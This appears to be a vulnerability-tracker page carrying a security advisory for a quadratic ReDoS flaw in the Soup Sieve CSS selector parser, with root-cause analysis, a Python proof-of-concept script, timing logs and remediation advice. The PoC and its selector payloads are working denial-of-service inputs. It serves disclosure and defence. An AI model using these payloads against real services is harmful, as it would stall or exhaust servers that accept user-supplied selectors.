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CVE-2026-86000MEDIUM· 5.3MITRENVDGHSA대응게시일: 2026. 09. 17.수정일: 2026. 09. 17.

Soup Sieve: Polynomial-time ReDoS (O(n²)) in the `IDENTIFIER` / `VALUE` selector sub-patterns

DoS

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
5.3medium

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

자동화 가능외부 노출· KEV 미등재 · 자동화 가능 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향없음
무결성 영향없음
가용성 영향낮음
버전별 점수
CVSS 3.15.3MODERATE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

상세 설명

Summary

soupsieve compiles CSS selector strings with a set of hand-written regular expressions. The shared IDENTIFIER sub-pattern (also embedded in VALUE, and therefore in attribute selectors) places two adjacent quantified groups over overlapping character classes: (?:[classA]|ESC)+(?:[classB]|ESC)*, where both classes match ordinary identifier characters such as a. When a selector contains a long identifier/value run that must ultimately fail to match (e.g. an attribute value with no closing ], or an identifier followed by an invalid character), the regex engine backtracks across all O(n) ways to split the run between the + group and the * group, giving O(n²) parse time. A single attacker-controlled selector of a few kilobytes stalls the interpreter for many seconds of CPU; tens of kilobytes reach minutes.

Trust model (Q0)

The selector string is the input. It reaches this code via soupsieve.compile(), soupsieve.select/iselect/match/filter, and — most commonly — BeautifulSoup's soup.select(selector) / soup.select_one(selector), which delegate to soupsieve. This is exploitable in any application that passes a user-controlled CSS selector to BeautifulSoup/soupsieve (scrapers that accept selectors, no-code extraction tools, admin/query UIs). Applications that only use hard-coded selectors are not affected.

Root cause (exact anchors) — src/soupsieve/css_parser.py

bash
1# lines 122-126
2IDENTIFIER = fr'''
3(?:(?:-?(?:[^\x00-\x2f\x30-\x40\x5B-\x5E\x60\x7B-\x9f]|{CSS_ESCAPES})+|--)
4(?:[^\x00-\x2c\x2e\x2f\x3A-\x40\x5B-\x5E\x60\x7B-\x9f]|{CSS_ESCAPES})*)
5'''
6# line 129 — VALUE embeds IDENTIFIER (so attribute values inherit the pattern)
7VALUE = fr'''(?:"(?:\\(?:.|{NEWLINE})|[^\\"\r\n\f])*?"|'...'|{IDENTIFIER})'''
  • classA [^\x00-\x2f\x30-\x40\x5B-\x5E\x60\x7B-\x9f] excludes digits (0x30-0x39); classB [^\x00-\x2c\x2e\x2f\x3A-\x40\x5B-\x5E\x60\x7B-\x9f] allows digits. The intent is "first char not a digit, remaining chars may be digits."
  • Both classes match ordinary letters (e.g. a = 0x61). The construct is therefore effectively (?:C)+(?:C)* over an overlapping class C — the canonical adjacent-quantifier shape that backtracks quadratically on a failing match.

The quadratic only manifests when the overall match must fail. IDENTIFIER matched greedily on "a"*n succeeds in linear time (1 ms at n=32000). Anchoring it so a following element is mandatory and fails (IDENTIFIER + "$" against "a"*n + "!") reproduces the O(n²) directly: n=2000 → 44 ms, 4000 → 257 ms, 8000 → 743 ms, 16000 → 2944 ms (×4 per ×2). Profiling compile("[a=" + "a"*4000) shows only 12 re.match calls consuming 2.685 s — i.e. the cost is inside a single regex match, confirming regex backtracking (not loop overhead).

Reproduction environment (discipline #12 — published artifact)

  • git HEAD 751c57b (2.9, PYTHONPATH=src): cd src && python3 ../poc/poc_redos_compile.py.
  • Published PyPI soupsieve 2.8.4 (fresh uv pip install soupsieve beautifulsoup4): cd poc && ../.venv-published/bin/python poc_redos_compile.py → same O(n²) (evidence: poc/evidence_redos_compile_PUBLISHED_2.8.4.log).
  • Python 3.11.15 and 3.14.6 both reproduce.

PoC (poc/poc_redos_compile.py)

python
1import sys, time
2sys.path.insert(0, ".")
3import soupsieve as sv
4
5def compile_time(sel):
6 t0 = time.perf_counter()
7 try:
8 sv.compile(sel)
9 status = "ok"
10 except Exception as e:
11 status = type(e).__name__
12 return (time.perf_counter() - t0), status
13
14print(f"soupsieve {sv.__version__}\n")
15
16print("Payload A: '[a=' + 'a'*n (unterminated attribute value)")
17for n in (1000, 2000, 4000, 8000):
18 dt, st = compile_time("[a=" + "a" * n)
19 print(f" n={n:<6} len={3+n:<7} {dt*1000:9.1f} ms [{st}]")
20
21print("\nPayload B: 'a'*n + '!' (identifier run + invalid trailing char)")
22for n in (2000, 4000, 8000, 16000):
23 dt, st = compile_time("a" * n + "!")
24 print(f" n={n:<6} len={n+1:<7} {dt*1000:9.1f} ms [{st}]")
25
26payload = "[a=" + "a" * 12000
27dt, st = compile_time(payload)
28print(f"\n[+] Single call: compile('[a=' + 'a'*12000) (len={len(payload)})")
29print(f"[+] wall time = {dt:.2f} s [{st}]")

End-to-end note: bs4.BeautifulSoup(html).select(payload) reaches the same compile() path, so the stall is triggerable directly through BeautifulSoup with a user-supplied selector. Verified on bs4 4.15.0 + soupsieve 2.8.4: soup.select("[a=" + "a"*6000) took ~5.0 s for one call (evidence: poc/evidence_bs4_select_PUBLISHED_2.8.4.log).

Evidence — HEAD 2.9 (verbatim poc/evidence_redos_compile.log)

text
1soupsieve 2.9
2
3Payload A: '[a=' + 'a'*n (unterminated attribute value)
4 n=1000 len=1003 214.8 ms [SelectorSyntaxError]
5 n=2000 len=2003 504.7 ms [SelectorSyntaxError]
6 n=4000 len=4003 2031.9 ms [SelectorSyntaxError]
7 n=8000 len=8003 8091.3 ms [SelectorSyntaxError]
8
9Payload B: 'a'*n + '!' (identifier run + invalid trailing char)
10 n=2000 len=2001 79.7 ms [SelectorSyntaxError]
11 n=4000 len=4001 322.9 ms [SelectorSyntaxError]
12 n=8000 len=8001 1328.9 ms [SelectorSyntaxError]
13 n=16000 len=16001 5379.4 ms [SelectorSyntaxError]
14
15[+] Single call: compile('[a=' + 'a'*12000) (len=12003)
16[+] wall time = 18.28 s [SelectorSyntaxError]

Evidence — published 2.8.4 (verbatim poc/evidence_redos_compile_PUBLISHED_2.8.4.log)

text
1soupsieve 2.8.4
2Payload A: '[a=' + 'a'*n
3 n=1000 len=1003 113.9 ms [SelectorSyntaxError]
4 n=2000 len=2003 457.2 ms [SelectorSyntaxError]
5 n=4000 len=4003 1816.8 ms [SelectorSyntaxError]
6 n=8000 len=8003 7299.0 ms [SelectorSyntaxError]
7[+] Single call: compile('[a=' + 'a'*12000) wall time = 16.57 s [SelectorSyntaxError]

Impact — calibrated

  • Confirmed: quadratic CPU consumption per compile()/select() call on an attacker-controlled selector. ~8 KB → ~8 s; ~12 KB → ~17 s; scaling ~×4 per input doubling. A handful of such requests exhausts a worker/thread and degrades or stalls the service (single-threaded regex holds the GIL).
  • Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.
  • NOT claimed: exponential blowup, memory corruption, or code execution. This is strictly an availability (DoS) issue, and only where selectors are attacker-influenced. Applications using only fixed selectors are unaffected — stated to avoid inflation.

Remediation

  • Remove the adjacent-quantifier ambiguity in IDENTIFIER: match a single leading non-digit character then the remaining class once, e.g. (?:-?(?:[classA]|ESC)(?:[classB]|ESC)*|--(?:[classB]|ESC)*), so no +/* pair spans the same characters.
  • Alternatively use atomic grouping / possessive quantifiers where supported ((?>...), *+) to forbid backtracking into the identifier run.
  • Defense-in-depth: cap selector length before compiling (reject selectors beyond a sane bound), since CSS selectors are realistically short.

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